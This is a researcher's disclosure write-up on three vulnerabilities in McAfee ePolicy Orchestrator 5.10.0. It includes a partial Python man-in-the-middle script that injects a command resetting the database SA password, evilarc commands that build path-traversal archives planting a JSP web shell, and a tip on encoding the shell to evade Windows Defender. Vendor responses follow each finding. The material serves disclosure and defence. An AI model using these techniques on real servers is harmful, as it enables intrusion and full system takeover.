Vulnerabilities in McAfee ePolicy Orchestrator

This August, I discovered three vulnerabilities in McAfee ePolicy Orchestrator (ePO) version 5.10.0.  McAfee ePO is software that helps IT administrators unify security management across endpoints, networks, data, and compliance solutions from McAfee and third-party solutions. McAfee ePO provides flexible automated management capabilities for identifying, handling, and responding to security issues and threats.

McAfee ePO login

The login page of McAfee ePO

My testing uncovered three vulnerabilities:

  • A CSRF + SSRF + MITM chain that, if successfully exploited, allows an attacker who is not logged in to perform remote code execution on the server
  • Remote code execution by a logged-in user as the result of a ZipSlip attack
  • Reflected XSS

CSRF + SSRF + MITM = Command Execution

The application contains an area in which the administrator can verify the availability of a database, which can be subsequently used as the main data store.


“Configure Database Settings” section

The following request must be sent in order to test the connection:

POST /core/config HTTP/1.1
 Host: epo.test:8443
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 Content-Length: 279

The request does not contain any protection against CSRF attacks. So far, we have a vulnerability, but it doesn’t affect security since the request only tests the connection and does not save any of the rogue settings.

But note how the test connection to the database is made. If the request specifies only the connection host and port, the application will use the current configuration (including username, password, and database name) for establishing the connection to the specified server.

To demonstrate this and see what exactly is contained in the database connection request, I wrote a simple Python script. It forwards all incoming requests to another host (the actual ePO database) and prints the requests to screen.


Data passing through the MiTM server

As it turned out, in my case the vulnerable server authenticates with the database via NTLMSSP and then executes several SQL queries to get information from it.

To exploit the vulnerability, we need to modify the queries sent to the database. That’s why in our script for MiTM we replace the string “SET TRANSACTION ISOLATION LEVEL READ COMMITTED” with “ALTER LOGIN [sa] WITH PASSWORD='P@ssw0rd';;;;“. If successful, testing the connection to the database will lead to the password “P@ssw0rd” being set for the user “SA”.

import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
IP = "" # IP and port of MiTM server
PORT = 1436
EPO_IP = ""
print("[+] Starting MiTM server on port: {}".format(str(PORT)))
server_address = (IP, PORT)
server_address2 = (EPO_IP, 50781) # IP and PORT of ePO MSSQL database
while True:
    connection, client_address = sock.accept()
        while True:
            data = connection.recv(4096)
            find = "S\x00E\x00T\x00 \x00T\x00R\x00A\x00N\x00S\x00A\x00C\x00T\x00I\x00O\x00N\x00 \x00I\x00S\x00O\x00L\x00A\x00T\x00I\x00O\x00N\x00 \x00L\x00E\x00V\x00E\x00L\x00 \x00R\x00E\x00A\x00D\x00 \x00C\x00O\x00M\x00M\x00I\x00T\x00T\x00E\x00D"
            if find in data:
                print("[+] Found string in request")
                replace = "A\x00L\x00T\x00E\x00R\x00 \x00L\x00O\x00G\x00I\x00N\x00 \x00[\x00s\x00a\x00]\x00 \x00W\x00I\x00T\x00H\x00 \x00P\x00A\x00S\x00S\x00W\x00O\x00R\x00D\x00=\x00'\x00P\x00@\x00s\x00s\x00w\x000\x00r\x00d\x00'\x00;\x00;\x00;\x00;\x00;"
                data = data.replace(find, replace)
            resp = sock2.recv(4096)

Now to exploit the whole CSRF + SSRF + MITM chain, we just need to create an HTML page.


Let’s put the vulnerability into action. Run the MITM script, enter the credentials in the ePolicy Orchestrator admin panel, and open the HTML page we made. If everything has been done correctly, we can connect to the database with the credentials SA:P@ssw0rd. Here’s the result:

mssql cli

OS command execution using the xp_cmdshell procedure

Having successfully connected to the database, we can run arbitrary system commands.

In summary, the attack consists of five parts:

  1. An administrator opens a malicious HTML page.
  2. A POST request impersonating the administrator is sent to /core/config, which causes the target server to connect to the MITM server.
  3. The MITM server proxies all traffic to the SQL server (it should be externally accessible) and injects an SQL query that changes the password of the user SA.
  4. The attacker connects to the SQL server with the SA username and the newly set password.
  5. The attacker can now run arbitrary server commands.

Vendor response: “McAfee have had a look at the code base and we believe this issue was addressed in the Cumulative Update (CU) 5 released on 12th November 2019.”

Authenticated command execution

I found this next vulnerability in the Software Extensions component (/core/, which is accessible only to authenticated users.


“Software Extensions” section

This page prompts to upload an extension, which should be a file in ZIP format. I do not know the archive structure necessary for the application to recognize an archive as a genuine extension, so at this point I didn’t try to upload any malicious extensions. But I always check for ZipSlip vulnerabilities when I encounter archive upload functionality during testing.

A ZipSlip vulnerability is a type of Path Traversal occurring when archives are unpacked if the names of the packed files are not properly sanitized. An attacker can create archives with files containing “../” in their names, making it possible to upload arbitrary files to arbitrary directories or overwrite existing ones during archive extraction.

To check for this kind of vulnerability, we’ll use evilarc to generate an archive containing the file ../test.txt.

python -d 1 -p '' -o win -f test.txt

Creating a malicious zip file

Then upload the resulting ZIP archive as an extension and try to find it in the filesystem.


Location of extracted file

We can see that the test file is located in the folder D:\Program Files\McAfee\Server\extensions\tmp\. The web server’s root folder is D:\Program Files\McAfee\Server\webapps\ROOT, so now we know the relative path needed to generate an archive containing a web shell (stat.jsp) that will be extracted to the server’s web root folder via ZipSlip:

python -d 3 -p 'webapps\ROOT\' -o win -f stat.jsp

Creating a malicious zip file with a web shell

When uploading the JSP shell, we encode it with Unicode so that Windows Defender doesn’t delete it.

Now simply upload as an extension and check for the running web shell.


Executing the “dir” command

The result is that we can run arbitrary OS commands.

Vendor response: “We don’t believe this is an RCE as the administrator in the ePO user interface is allowed to install an extension for their product. McAfee currently believe the scenario you describe is working as intended when an extension is installed by an ePO administrator.”

Bonus: Reflected XSS

For exploitation, simply go to the address /PolicyMgmt/ where, as proof of concept, you will see a pop-up window containing the value of document.domain.


XSS demonstration

Vendor response: “Thanks again for taking your time to report this to McAfee. CVE-2020-7318 assigned.”


Mikhail Klyuchnikov : Web Application Security Expert
Twitter :